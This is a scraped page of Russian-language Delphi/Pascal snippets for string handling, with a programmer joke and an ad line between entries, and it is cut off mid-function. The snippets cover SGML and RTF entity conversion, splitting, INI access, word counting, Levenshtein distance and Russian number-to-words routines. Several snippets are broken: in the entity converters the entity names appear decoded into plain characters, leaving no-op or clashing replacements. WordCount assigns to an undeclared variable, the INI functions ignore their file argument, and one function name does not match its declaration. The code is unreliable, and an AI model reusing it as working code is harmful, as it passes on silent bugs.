text := stringreplaceall (text,'ö','o');
text := stringreplaceall (text,'Ö','O');
text := stringreplaceall (text,'ø','o');
text := stringreplaceall (text,'Ø','O');
text := stringreplaceall (text,'Ô' ,'O');
text := stringreplaceall (text,'ô' ,'o');
text := stringreplaceall (text,'õ','o');
text := stringreplaceall (text,'Õ','O');
text := stringreplaceall (text,'ü','u');
text := stringreplaceall (text,'Ü','U');
text := stringreplaceall (text,'ú','u');
text := stringreplaceall (text,'Ú','U');
text := stringreplaceall (text,'û' ,'u');
text := stringreplaceall (text,'Û' ,'U');
text := stringreplaceall (text,'Ù','U');
text := stringreplaceall (text,'ù','u');
text := stringreplaceall (text,'ý','y');
text := stringreplaceall (text,'Ý','Y');
text := stringreplaceall (text,'ÿ' ,'y');
text := stringreplaceall (text,' ','|');
text := stringreplaceall (text,'&','&');
result := text;
end;
function sgml2mac(text : string) : string;
{Funktion som ersatter alla entiteter mot deras tecken i
mac. Den fardiga strangen returneras.}
begin
text := stringreplaceall (text,'á',chr(135));
text := stringreplaceall (text,'Á',chr(231));
text := stringreplaceall (text,'æ',chr(190));
text := stringreplaceall (text,'&Aelig;',chr(174));
text := stringreplaceall (text,'à',chr(136));
text := stringreplaceall (text,'À',chr(203));
text := stringreplaceall (text,'å',chr(140));
text := stringreplaceall (text,'Å',chr(129));
text := stringreplaceall (text,'Ä',chr(128));
text := stringreplaceall (text,'ä',chr(138));
text := stringreplaceall (text,'Â' ,chr(229));
text := stringreplaceall (text,'â' ,chr(137));
text := stringreplaceall (text,'ã',chr(139));
text := stringreplaceall (text,'Ã',chr(204));
text := stringreplaceall (text,'ç',chr(141));
text := stringreplaceall (text,'Ç',chr(130));
text := stringreplaceall (text,'é',chr(142));
text := stringreplaceall (text,'É',chr(131));
text := stringreplaceall (text,'è',chr(143));
text := stringreplaceall (text,'È',chr(233));
text := stringreplaceall (text,'ê' ,chr(144));
text := stringreplaceall (text,'Ê' ,chr(230));
text := stringreplaceall (text,'ë' ,chr(145));
text := stringreplaceall (text,'Ë' ,chr(232));
text := stringreplaceall (text,'î' ,chr(148));
text := stringreplaceall (text,'Î' ,chr(235));
text := stringreplaceall (text,'í' ,chr(146));
text := stringreplaceall (text,'Í' ,chr(234));
text := stringreplaceall (text,'ì' ,chr(147));
text := stringreplaceall (text,'Ì' ,chr(237));
text := stringreplaceall (text,'ï' ,chr(149));
text := stringreplaceall (text,'Ï' ,chr(236));
text := stringreplaceall (text,'ñ',chr(150));
text := stringreplaceall (text,'Ñ',chr(132));
text := stringreplaceall (text,'ò',chr(152));
text := stringreplaceall (text,'Ò',chr(241));
text := stringreplaceall (text,'ó',chr(151));
text := stringreplaceall (text,'Ó',chr(238));
text := stringreplaceall (text,'Ô' ,chr(239));
text := stringreplaceall (text,'ô' ,chr(153));
text := stringreplaceall (text,'ø',chr(191));
text := stringreplaceall (text,'Ø',chr(175));
text := stringreplaceall (text,'õ',chr(155));
text := stringreplaceall (text,'Õ',chr(239));
text := stringreplaceall (text,'ö',chr(154));
text := stringreplaceall (text,'Ö',chr(133));
text := stringreplaceall (text,'ü',chr(159));
text := stringreplaceall (text,'Ü',chr(134));
text := stringreplaceall (text,'ú',chr(156));
text := stringreplaceall (text,'Ú',chr(242));
text := stringreplaceall (text,'û' ,chr(158));
text := stringreplaceall (text,'Û' ,chr(243));
text := stringreplaceall (text,'Ù',chr(244));
text := stringreplaceall (text,'ù',chr(157));
text := stringreplaceall (text,'ý','y');
text := stringreplaceall (text,'ÿ' ,chr(216));
text := stringreplaceall (text,'Ÿ' ,chr(217));
text := stringreplaceall (text,' ',' ');
text := stringreplaceall (text,'&',chr(38));
result := text;
end;
function sgml2rtf(text : string) : string;
{Funktion for att byta ut sgml-entiteter mot de koder som
galler i RTF-textrutorna.}
begin
text := stringreplaceall (text,'}','#]#');
text := stringreplaceall (text,'{','#[#');
text := stringreplaceall (text,'\','HSALSKCAB');
text := stringreplaceall (text,'HSALSKCAB','\\');
text := stringreplaceall (text,'æ','\'+chr(39)+'c6');
text := stringreplaceall (text,'&Aelig;','\'+chr(39)+'e6');
text := stringreplaceall (text,'á','\'+chr(39)+'e1');
text := stringreplaceall (text,'Á','\'+chr(39)+'c1');
text := stringreplaceall (text,'à','\'+chr(39)+'e0');
text := stringreplaceall (text,'À','\'+chr(39)+'c0');
text := stringreplaceall (text,'å','\'+chr(39)+'e5');
text := stringreplaceall (text,'Å','\'+chr(39)+'c5');
text := stringreplaceall (text,'Â','\'+chr(39)+'c2');
text := stringreplaceall (text,'â','\'+chr(39)+'e2');
text := stringreplaceall (text,'ã','\'+chr(39)+'e3');
text := stringreplaceall (text,'Ã','\'+chr(39)+'c3');
text := stringreplaceall (text,'ä','\'+chr(39)+'e4');
text := stringreplaceall (text,'Ä','\'+chr(39)+'c4');
text := stringreplaceall (text,'ç','\'+chr(39)+'e7');
text := stringreplaceall (text,'Ç','\'+chr(39)+'c7');
text := stringreplaceall (text,'é','\'+chr(39)+'e9');
text := stringreplaceall (text,'É','\'+chr(39)+'c9');
text := stringreplaceall (text,'è','\'+chr(39)+'e8');
text := stringreplaceall (text,'È','\'+chr(39)+'c8');
text := stringreplaceall (text,'ê','\'+chr(39)+'ea');
text := stringreplaceall (text,'Ê','\'+chr(39)+'ca');
text := stringreplaceall (text,'ë','\'+chr(39)+'eb');
text := stringreplaceall (text,'Ë','\'+chr(39)+'cb');
text := stringreplaceall (text,'î','\'+chr(39)+'ee');
text := stringreplaceall (text,'Î','\'+chr(39)+'ce');
text := stringreplaceall (text,'í','\'+chr(39)+'ed');
text := stringreplaceall (text,'Í','\'+chr(39)+'cd');
text := stringreplaceall (text,'ì','\'+chr(39)+'ec');
text := stringreplaceall (text,'Ì','\'+chr(39)+'cc');
text := stringreplaceall (text,'ï' ,'\'+chr(39)+'ef');
text := stringreplaceall (text,'Ï' ,'\'+chr(39)+'cf');
text := stringreplaceall (text,'ñ','\'+chr(39)+'f1');
text := stringreplaceall (text,'Ñ','\'+chr(39)+'d1');
text := stringreplaceall (text,'ö','\'+chr(39)+'f6');
text := stringreplaceall (text,'Ö','\'+chr(39)+'d6');
text := stringreplaceall (text,'ó','\'+chr(39)+'f3');
text := stringreplaceall (text,'Ó','\'+chr(39)+'d3');
text := stringreplaceall (text,'ò','\'+chr(39)+'f2');
text := stringreplaceall (text,'Ò','\'+chr(39)+'d2');
text := stringreplaceall (text,'ø','\'+chr(39)+'f8');
text := stringreplaceall (text,'Ø','\'+chr(39)+'d8');
text := stringreplaceall (text,'Ô','\'+chr(39)+'d4');
text := stringreplaceall (text,'ô','\'+chr(39)+'f4');
text := stringreplaceall (text,'õ','\'+chr(39)+'f5');
text := stringreplaceall (text,'Õ','\'+chr(39)+'d5');
text := stringreplaceall (text,'ú','\'+chr(39)+'fa');
text := stringreplaceall (text,'Ú','\'+chr(39)+'da');
text := stringreplaceall (text,'û','\'+chr(39)+'fb');
text := stringreplaceall (text,'Û','\'+chr(39)+'db');
text := stringreplaceall (text,'Ù','\'+chr(39)+'d9');
text := stringreplaceall (text,'ù','\'+chr(39)+'f9');
text := stringreplaceall (text,'ü','\'+chr(39)+'fc');
text := stringreplaceall (text,'Ü','\'+chr(39)+'dc');
text := stringreplaceall (text,'ý','\'+chr(39)+'fd');
text := stringreplaceall (text,'Ý','\'+chr(39)+'dd');
text := stringreplaceall (text,'ÿ','\'+chr(39)+'ff');
text := stringreplaceall (text,'£','\'+chr(39)+'a3');
text := stringreplaceall (text,'#]#','\}');
text := stringreplaceall (text,'#[#','\{');
text := stringreplaceall (text,' ','|');
text := stringreplaceall (text,'&','&');
result := text;
end;
function rtf2sgml (text : string) : string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
temptext : string;
start : integer;
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'\'+chr(39)+'c6','æ');
text := stringreplaceall (text,'\'+chr(39)+'e6','&Aelig;');
text := stringreplaceall (text,'\'+chr(39)+'e5','å');
text := stringreplaceall (text,'\'+chr(39)+'c5','Å');
text := stringreplaceall (text,'\'+chr(39)+'e4','ä');
text := stringreplaceall (text,'\'+chr(39)+'c4','Ä');
text := stringreplaceall (text,'\'+chr(39)+'e1','á');
text := stringreplaceall (text,'\'+chr(39)+'c1','Á');
text := stringreplaceall (text,'\'+chr(39)+'e0','à');
text := stringreplaceall (text,'\'+chr(39)+'c0','À');
text := stringreplaceall (text,'\'+chr(39)+'c2','Â');
text := stringreplaceall (text,'\'+chr(39)+'e2','â');
text := stringreplaceall (text,'\'+chr(39)+'e3','ã');
text := stringreplaceall (text,'\'+chr(39)+'c3','Ã');
text := stringreplaceall (text,'\'+chr(39)+'e7','ç');
text := stringreplaceall (text,'\'+chr(39)+'c7','Ç');
text := stringreplaceall (text,'\'+chr(39)+'e9','é');
text := stringreplaceall (text,'\'+chr(39)+'c9','É');
text := stringreplaceall (text,'\'+chr(39)+'e8','è');
text := stringreplaceall (text,'\'+chr(39)+'c8','È');
text := stringreplaceall (text,'\'+chr(39)+'ea','ê');
text := stringreplaceall (text,'\'+chr(39)+'ca','Ê');
text := stringreplaceall (text,'\'+chr(39)+'eb','ë');
text := stringreplaceall (text,'\'+chr(39)+'cb','Ë');
text := stringreplaceall (text,'\'+chr(39)+'ee','î');
text := stringreplaceall (text,'\'+chr(39)+'ce','Î');
text := stringreplaceall (text,'\'+chr(39)+'ed','í');
text := stringreplaceall (text,'\'+chr(39)+'cd','Í');
text := stringreplaceall (text,'\'+chr(39)+'ec','ì');
text := stringreplaceall (text,'\'+chr(39)+'cc','Ì');
text := stringreplaceall (text,'\'+chr(39)+'ef','ï');
text := stringreplaceall (text,'\'+chr(39)+'cf','Ï');
text := stringreplaceall (text,'\'+chr(39)+'f1','ñ');
text := stringreplaceall (text,'\'+chr(39)+'d1','Ñ');
text := stringreplaceall (text,'\'+chr(39)+'f3','ó');
text := stringreplaceall (text,'\'+chr(39)+'d3','Ó');
text := stringreplaceall (text,'\'+chr(39)+'f2','ò');
text := stringreplaceall (text,'\'+chr(39)+'d2','Ò');
text := stringreplaceall (text,'\'+chr(39)+'d4','Ô');
text := stringreplaceall (text,'\'+chr(39)+'f4','ô');
text := stringreplaceall (text,'\'+chr(39)+'f5','õ');
text := stringreplaceall (text,'\'+chr(39)+'d5','Õ');
text := stringreplaceall (text,'\'+chr(39)+'f8','ø');
text := stringreplaceall (text,'\'+chr(39)+'d8','Ø');
text := stringreplaceall (text,'\'+chr(39)+'f6','ö');
text := stringreplaceall (text,'\'+chr(39)+'d6','Ö');
text := stringreplaceall (text,'\'+chr(39)+'fc','ü');
text := stringreplaceall (text,'\'+chr(39)+'dc','Ü');
text := stringreplaceall (text,'\'+chr(39)+'fa','ú');
text := stringreplaceall (text,'\'+chr(39)+'da','Ú');
text := stringreplaceall (text,'\'+chr(39)+'fb','û');
text := stringreplaceall (text,'\'+chr(39)+'db','Û');
text := stringreplaceall (text,'\'+chr(39)+'d9','Ù');
text := stringreplaceall (text,'\'+chr(39)+'f9','ù');
text := stringreplaceall (text,'\'+chr(39)+'fd','ý');
text := stringreplaceall (text,'\'+chr(39)+'dd','Ý');
text := stringreplaceall (text,'\'+chr(39)+'ff','ÿ');
text := stringreplaceall (text,'|',' ');
text := stringreplaceall (text,'\'+chr(39)+'a3','£');
text := stringreplaceall (text,'\}','#]#');
text := stringreplaceall (text,'\{','#[#');
if (beginswith (text, '{\rtf1\')) or
(beginswith (text, '{\colortbl\')) then
begin
result := '';
exit;
end;
//text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort}
//temptext := hamtastreng (text,'{\rtf1','{\f0');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//temptext := hamtastreng (text,'{\f0','{\f1');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//temptext := hamtastreng (text,'{\f1','{\f2');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort}
//text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort}
{I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
det efter \fs16 och la istallet en egen tvatt av \cf0.}
//temptext := hamtastreng (text,'{\rtf1','\deflang');
//text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
text := stringreplaceall (text,'\cf0','');
temptext := hamtastreng (text,'\deflang','\pard');{Plocka fran deflang till pard for att fa }
text := stringreplace (text,temptext,'');{oavsett vilken lang det ar. Norska o svenska ar olika}
text := stringreplaceall (text,'\ltrpar','');
text := stringreplaceall (text,'\ql','');
text := stringreplaceall (text,'\ltrch','');
{Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
//text := stringreplaceall (text,'\fs16','');{8 punkter}
//text := stringreplaceall (text,'\fs20','');{10 punkter}
{Nu stadar vi istallet bort alla tvasiffriga fontsize.}
while pos ('\fs',text) > 0 do
begin
//application.processmessages;
start := pos ('\fs',text);
Delete(text,start,5);
end;
while pos ('\f',text) > 0 do
begin
//application.processmessages;
start := pos ('\f',text);
Delete(text,start,3);
end;
text := stringreplaceall (text,'\pard\li200-200{\*\pn\pnlvlblt\pnf1\pnindent200{\pntxtb\'+chr(39)+'b7}}\plain ',' < /P > < UL > ');
text := stringreplaceall (text,'{\pntext\'+chr(39)+'b7\tab}',' < LI > ');
text := stringreplaceall (text, '\par < LI > ',' < LI > ');
text := stringreplaceall (text, '\par < UL > ',' < UL > ');
text := stringreplaceall (text,'\pard\plain ',' < P > ');
text := stringreplaceall (text,'\par \plain\b\ul ',' < /P > < MELLIS > ');
text := stringreplaceall (text,'\plain\b\ul ',' < /P > < MELLIS > ');
text := stringreplaceall (text,'\plain',' < /MELLIS > ');
text := stringreplaceall (text,'\par }',' < /P > ');
if (pos ('\par \tab ',text) > 0) or (pos (' < P > \tab ',text) > 0) then
begin
text := stringreplaceall (text,'\par \tab ',' < TR > < TD > ');
text := stringreplaceall (text,' < P > \tab ',' < TR > < TD > ');
text := stringreplaceall (text,'\tab ',' < /TD > < TD > ');
end
else
text := stringreplaceall (text,'\tab ','');
text := stringreplaceall (text,'\par ',' < /P > < P > ');
text := stringreplaceall (text,'#]#','}');
text := stringreplaceall (text,'#[#','{');
text := stringreplaceall (text,'\\','\');
if pos(' < TD > ',text) > 0 then
text := text+' < /TD > < /TR > ';
if pos(' < LI > ',text) > 0 then
text := text+' < /LI > ';
result := text;
end;
end.
|
Отобразить строку на определённую структуру.
| Новый фильм от создателей Матрицы : Romeo Must Die Генеральный спонсор : Microsoft |
type
TEmployee = record
cNo: array [0..3] of Char;
cName: array [0..7] of Char;
end;
PEmployee = ^TEmployee;
procedure ParseData;
const
sData = '0001Mosquito';
var
sNo, sName: string;
begin
with PEmployee(Pointer((@sData)^))^ do
begin
sNo := cNo; // sNo = '0001'
sName := cName; // sName = 'Mosquito'
end
end;
|
Из строки в массив и наоборот.
| Программист с женой отправились в супермаркет. Сделав все необходимые закупки, они вышли на улицу, и жена сказала: - Стой здесь и смотри в оба за этими десятью сумками, пока я схожу и разыщу такси. Когда жена вернулась, то увидела обалдевшего мужа, переставляющего сумки с места на место. Программист: - Ты сказала, что здесь десять сумок, а я насчитал только 9! Жена: - Но их было десять! Программист: - Нет, давай вместе считать: 0, 1, 2, 3...... |
function StrToArrays(str, r: string; out Temp: TStrings): Boolean;
var
j: integer;
begin
if temp <> nil then
begin
temp.Clear;
while str <> '' do
begin
j := Pos(r,str);
if j=0 then
j := Length(str) + 1;
temp.Add(Copy(Str,1,j-1));
Delete(Str,1,j+length(r)-1);
end;
Result:=True;
end
else
Result:=False;
end;
|
function ArrayToStr(str: TStrings; r: string): string;
var
i: integer;
begin
Result:='';
if str = nil then
Exit;
for i := 0 to Str.Count-1 do
Result := Result + Str.Strings[i] + r;
end;
|
Как сохранить и получить строку из INI-файла.
Ниже показаны две функции, которые помещают и получают значение переменной (StringName) в ini-секции (IniSection) ini-файла (TheIniFile)}.
function IniGetStringValue(
TheIniFile: string;
IniSection: string;
StringName: string;
DefaultString: string): string;
var
TheIni: TIniFile;
begin
TheIni := TIniFile.Create(Self);
try
Result :=
TheIni.ReadString(
IniSection,
StringName,
DefaultString);
if Result = '' then
Result := DefaultString;
finally
TheIni.Free;
end;
end;
function IniSetStringValue(
TheIniFile: string;
IniSection: string;
StringName: string;
StringValue: string): Boolean;
var
TheIni: TIniFile;
begin
TheIni := TIniFile.Create(Self);
try
try
TheIni.WriteString(
IniSection,
StringName,
StringValue);
Result := True;
except
Result := False;
end;
finally
TheIni.Free;
end;
end;
|
Подсчитать количество слов в строке.
function Seps(As_Arg: Char): Boolean;
begin
Seps := As_Arg in
[#0..#$1F, ' ', '.', ',', '?', ':', ';', '(', ')', '/', '\'];
end;
function WordCount(CText: string): Longint;
var
Ix: Word;
Work_Count: Longint;
begin
Work_Count := 0;
Ix := 1;
while Ix <= Length(CText) do
begin
while (Ix <= Length(CText)) and (Seps(CText[Ix])) do
Inc(Ix);
if Ix <= Length(CText) then
begin
Inc(Work_Count);
while (Ix <= Length(CText)) and (not Seps(CText[Ix])) do
Inc(Ix);
end;
end;
Word_Count := Work_Count;
end;
{
To count the number opf words in a TMemo Component,
call: WordCount(Memo1.Text)
}
|
Разность между двумя строками - функция Левенштейна.
Автор: Wicked WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Расстояние (разность) между двумя строками. Функция Левенштейна
Зависимости: System
Автор: Андрей aka wicked, wilk@ua.fm, ICQ:92356239, Тернополь
Copyright: описание алгоритма взято с http://www.merriampark.com/ld.htm, реализация моя
Дата: 10 августа 2002 г.
***************************************************** }
const
cuthalf = 100; // константа, ограничивающая макс. длину
// обрабатываемых строк
var
buf: array[0..((cuthalf * 2) - 1)] of integer; // рабочий буффер, заменяет
// матрицу, представленную
// в описании
function min3(a, b, c: integer): integer; // вспомогательная функция
begin
Result := a;
if b < Result then
Result := b;
if c < Result then
Result := c;
end;
// реализация функции в принципе соответствует описанию с одной оговоркой:
// матрица из описания заменена статическим буффером, длина которого
// равна удвоенной максимальной длине строк
// это сделано для 1) экономии памяти и во избежание её перераспределений
// 2) повышения быстродействия (у меня функция работает
// в обработчике onfilterRecord)
// таким образом, в реализации половинами буффера представлены только
// две последние строки матрицы, которые меняются местами каждую
// итерацию внешнего цикла (по i)... для определения того, какая из половин
// буффера является "нижней строкой", служит переменная flip
// т. е. при flip = false первая половина буффера является предпоследней
// строкой, а вторая - последней; при flip = true наоборот,
// первая половина - последняя строка, вторая половина - предпоследняя
function LeveDist(s, t: string): integer;
var
i, j, m, n: integer;
cost: integer;
flip: boolean;
begin
s := copy(s, 1, cuthalf - 1);
t := copy(t, 1, cuthalf - 1);
m := length(s);
n := length(t);
if m = 0 then
Result := n
else if n = 0 then
Result := m
else
begin
flip := false;
for i := 0 to n do
buf[i] := i;
for i := 1 to m do
begin
if flip then
buf[0] := i
else
buf[cuthalf] := i;
for j := 1 to n do
begin
if s[i] = t[j] then
cost := 0
else
cost := 1;
if flip then
buf[j] := min3((buf[cuthalf + j] + 1),
(buf[j - 1] + 1),
(buf[cuthalf + j - 1] + cost))
else
buf[cuthalf + j] := min3((buf[j] + 1),
(buf[cuthalf + j - 1] + 1),
(buf[j - 1] + cost));
end;
flip := not flip;
end;
if flip then
Result := buf[cuthalf + n]
else
Result := buf[n];
end;
end;
Пример использования:
// на форме имеются поля Edit1 и Edit2, метка Label1 ... Label1.Caption := IntToStr(LeveDist(Edit1.Text, Edit2.Text)); ...
Преобразование сроки в число.
Автор: Separator WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование сроки в число
Преобразует строку в число, при этом удаля из строки все лишние символы
Зависимости: нет
Автор: Separator, vilgelm@mail.kz, ICQ:162770303, Алматы
Copyright: Separator
Дата: 7 мая 2003 г.
***************************************************** }
function StringToNumber(const Value: string): string;
var
ResStr: string;
i, j, L: integer;
Ch: char;
E, DS: boolean;
begin
Result := '0';
L := Length(Value);
if L <> 0 then
begin
SetLength(ResStr, L);
E := false;
DS := false;
j := 0;
for i := 1 to L do
begin
Ch := Value[i];
case Ch of
'0'..'9':
begin
Inc(j);
ResStr[j] := Ch
end; //'0'..'9': begin
'.', ',': if (not DS) and (not E) and (i <> L) then
begin
DS := true;
Ch := DecimalSeparator;
if j = 0 then
begin
Inc(j);
ResStr[j] := '0';
end; //if j = 0 then begin
Inc(j);
ResStr[j] := Ch
end; //'.', ',': if (not DS) and (i <> L) then begin
'e', 'E': if (not E) and (i <> L) then
begin
E := true;
Ch := 'E';
if j = 0 then
begin
Inc(j);
ResStr[j] := '0';
end; //if j = 0 then begin
Inc(j);
ResStr[j] := Ch
end //'.', ',': if (not DS) and (i <> L) then begin
end //case Ch of
end; //for i:= 1 to L do begin
if j <> 0 then
begin
if ResStr[j] = 'E' then
Dec(j);
if ResStr[j] = DecimalSeparator then
Dec(j);
SetLength(ResStr, j);
Result := ResStr
end //if j <> 0 then begin
end //if L <> 0 then begin
end;
Пример использования:
Edit1.Text = ',...,fgftgtr656,.567erdf..5,,632' Edit2.Text := StringToNumber(Edit1.Text); Edit2.Text = 0, 656567E5632
StrToInt и IntToStr вне модуля SysUtils.
Автор: LENIN INC WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> StrToInt и IntToStr вне модуля SysUtils...
Две популярные функции преобразования.
Зависимости: Windows
Автор: LENIN INC, fuck2all@ukr.net, Kiev
Copyright: LENIN INC, http://lenininc.narod.ru
Дата: 22 февраля 2003 г.
***************************************************** }
function InStr(I: Integer): string;
var
S: string;
begin
Str(I, S);
InStr := S;
end;
function InInt(S: string): Integer;
var
I, Code: Integer;
begin
Val(S, I, Code);
InInt := I;
end;
Паскалевский эквивалент StrTok.
Автор: Mike Scott
function NextToken( P : PChar ; Divider : PChar ) : PChar ;
const
next : PChar = nil ;
begin
if P = nil then
P := next ;
if P <> nil then
begin
next := StrPos( P, Divider ) ;
if next <> nil then
begin
next^ := #0 ;
next := @next[ StrLen( Divider ) ] ;
end ;
end ;
NextToken := P ;
end ;
|
StrTok для Delphi2.
Автор: Ralph Friedman Я передалал это для работы в Delphi 2.0, код приведен ниже (эта функция первоначально была написана John Cooper 76356,3601 и модифицирована мной для адаптации под Delphi 2.0)....вот этот код:
function StrTok(Phrase: Pchar; Delimeter: PChar): Pchar;
const
tokenPtr: PChar = nil;
workPtr: PChar = nil;
var
delimPtr: Pchar;
begin
if (Phrase <> nil) then
workPtr := Phrase
else
workPtr := tokenPtr;
if workPtr = nil then
begin
Result := nil;
Exit;
end;
delimPtr := StrPos(workPtr, Delimeter);
if (delimPtr <> nil) then
begin
delimPtr^ := Chr(0);
tokenPtr := delimPtr + 1
end
else
tokenPtr := nil;
Result := workPtr;
end;
|
Сумма и количество прописью, работа с падежами.
Автор: Eda WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сумма и количество прописью, работа с падежами
Несколько функций для работы с строками:
function SumToString(Value : String) : string;//Сумма прописью
function KolToStrin(Value : String) : string;//Количество прописью
function padeg(s:string):string;//Склоняет фамилию имя и отчество (кому)
function padegot(s:string):string;//Склоняет фамилию имя и отчество (от кого)
function fio(s:string):string;//фамилия имя и отчество сокращенно
function longdate(s:string):string;//Длинная дата
procedure getfullfio(s:string;var fnam,lnam,onam:string);
//Получить из строки фамилию имя и отчество сокращенно
Зависимости: uses SysUtils, StrUtils,Classes;
Автор: Eda, eda@arhadm.net.ru, Архангельск
Copyright: Eda
Дата: 13 июня 2003 г.
***************************************************** }
unit sumstr;
interface
uses
SysUtils, StrUtils, Classes;
var
rub: byte;
function SumToString(Value: string): string; //Сумма прописью
function KolToStrin(Value: string): string; //Количество прописью
function padeg(s: string): string; //Склоняет фамилию имя и отчество (кому)
function padegot(s: string): string; //Склоняет фамилию имя и отчество (от кого)
function fio(s: string): string; //фамилия имя и отчество сокращенно
function longdate(s: string): string; //Длинная дата
procedure getfullfio(s: string; var fnam, lnam, onam: string);
//Получить из строки фамилию имя и отчество сокращенно
implementation
const
a: array[0..8, 0..9] of string = (
('', 'один ', 'два ', 'три ', 'четыре ', 'пять ', 'шесть ', 'семь ',
'восемь ', 'девять '),
('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
'семьдесят ', 'восемьдесят ', 'девяносто '),
('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
'семьсот ', 'восемьсот ', 'девятьсот '),
('тысяч ', 'одна тысяча ', 'две тысячи ', 'три тысячи ', 'четыре тысячи ',
'пять тысяч ', 'шесть тысяч ', 'семь тысяч ', 'восемь тысяч ',
'девять тысяч '),
('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
'семьдесят ', 'восемьдесят ', 'девяносто '),
('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
'семьсот ', 'восемьсот ', 'девятьсот '),
('миллионов ', 'один миллион ', 'два миллиона ', 'три миллиона ',
'четыре миллиона ', 'пять миллионов ', 'шесть миллионов ', 'семь миллионов ',
'восемь миллионов ', 'девять миллионов '),
('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
'семьдесят ', 'восемьдесят ', 'девяносто '),
('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
'семьсот ', 'восемьсот ', 'девятьсот '));
c: array[0..8, 0..9] of string = (
('', 'одна ', 'две ', 'три ', 'четыре ', 'пять ', 'шесть ', 'семь ',
'восемь ', 'девять '),
('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
'семьдесят ', 'восемьдесят ', 'девяносто '),
('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
'семьсот ', 'восемьсот ', 'девятьсот '),
('тысячь ', 'одна тысяча ', 'две тысячи ', 'три тысячи ', 'четыре тысячи ',
'пять тысяч ', 'шесть тысяч ', 'семь тысяч ', 'восемь тысяч ',
'девять тысяч '),
('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
'семьдесят ', 'восемьдесят ', 'девяносто '),
('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
'семьсот ', 'восемьсот ', 'девятьсот '),
('миллионов ', 'один миллион ', 'два миллиона ', 'три миллиона ',
'четыре миллиона ', 'пять миллионов ', 'шесть миллионов ', 'семь миллионов ',
'восемь миллионов ', 'девять миллионов '),
('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
'семьдесят ', 'восемьдесят ', 'девяносто '),
('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
'семьсот ', 'восемьсот ', 'девятьсот '));
b: array[0..9] of string =
('десять ', 'одинадцать ', 'двенадцать ', 'тринадцать ', 'четырнадцать ',
'пятнадцать ', 'шестнадцать ', 'семнадцать ', 'восемнадцать ',
'девятнадцать ');
var
pol: boolean;
function longdate(s: string): string; //Длинная дата
var
Pr: TDateTime;
Y, M, D: Word;
begin
Pr := strtodate(s);
DecodeDate(Pr, Y, M, D);
case m of
1: s := 'Января';
2: s := 'Февраля';
3: s := 'Марта';
4: s := 'Апреля';
5: s := 'Мая';
6: s := 'Июня';
7: s := 'Июля';
8: s := 'Августа';
9: s := 'Сентября';
10: s := 'Октября';
11: s := 'Ноября';
12: s := 'Декабря';
end;
result := inttostr(d) + ' ' + s + ' ' + inttostr(y)
end;
function SumToStrin(Value: string): string;
var
s, t: string;
p, pp, i, k: integer;
begin
s := value;
if s = '0' then
t := 'Ноль '
else
begin
p := length(s);
pp := p;
if p > 1 then
if (s[p - 1] = '1') and (s[p] >= '0') then
begin
t := b[strtoint(s[p])];
pp := pp - 2;
end;
i := pp;
while i > 0 do
begin
if (i = p - 3) and (p > 4) then
if s[p - 4] = '1' then
begin
t := b[strtoint(s[p - 3])] + 'тысяч ' + t;
i := i - 2;
end;
if (i = p - 6) and (p > 7) then
if s[p - 7] = '1' then
begin
t := b[strtoint(s[p - 6])] + 'миллионов ' + t;
i := i - 2;
end;
if i > 0 then
begin
k := strtoint(s[i]);
t := a[p - i, k] + t;
i := i - 1;
end;
end;
end;
result := t;
end;
function kolToStrin(Value: string): string;
var
s, t: string;
p, pp, i, k: integer;
begin
s := value;
if s = '0' then
t := 'Ноль '
else
begin
p := length(s);
pp := p;
if p > 1 then
if (s[p - 1] = '1') and (s[p] > '0') then
begin
t := b[strtoint(s[p])];
pp := pp - 2;
end;
i := pp;
while i > 0 do
begin
if (i = p - 3) and (p > 4) then
if s[p - 4] = '1' then
begin
t := b[strtoint(s[p - 3])] + 'тысяча ' + t;
i := i - 2;
end;
if (i = p - 6) and (p > 7) then
if s[p - 7] = '1' then
begin
t := b[strtoint(s[p - 6])] + 'миллионов ' + t;
i := i - 2;
end;
if i > 0 then
begin
k := strtoint(s[i]);
t := c[p - i, k] + t;
i := i - 1;
end;
end;
end;
result := t;
end;
procedure get2str(value: string; var hi, lo: string);
var
p: integer;
begin
p := pos(',', value);
lo := '';
hi := '';
if p = 0 then
p := pos('.', value);
if p <> 0 then
delete(value, p, 1);
if p = 0 then
begin
hi := value;
lo := '00';
exit;
end;
if p > length(value) then
begin
hi := value;
lo := '00';
exit;
end;
if p = 1 then
begin
hi := '0';
lo := value;
exit;
end;
begin
hi := copy(value, 1, p - 1);
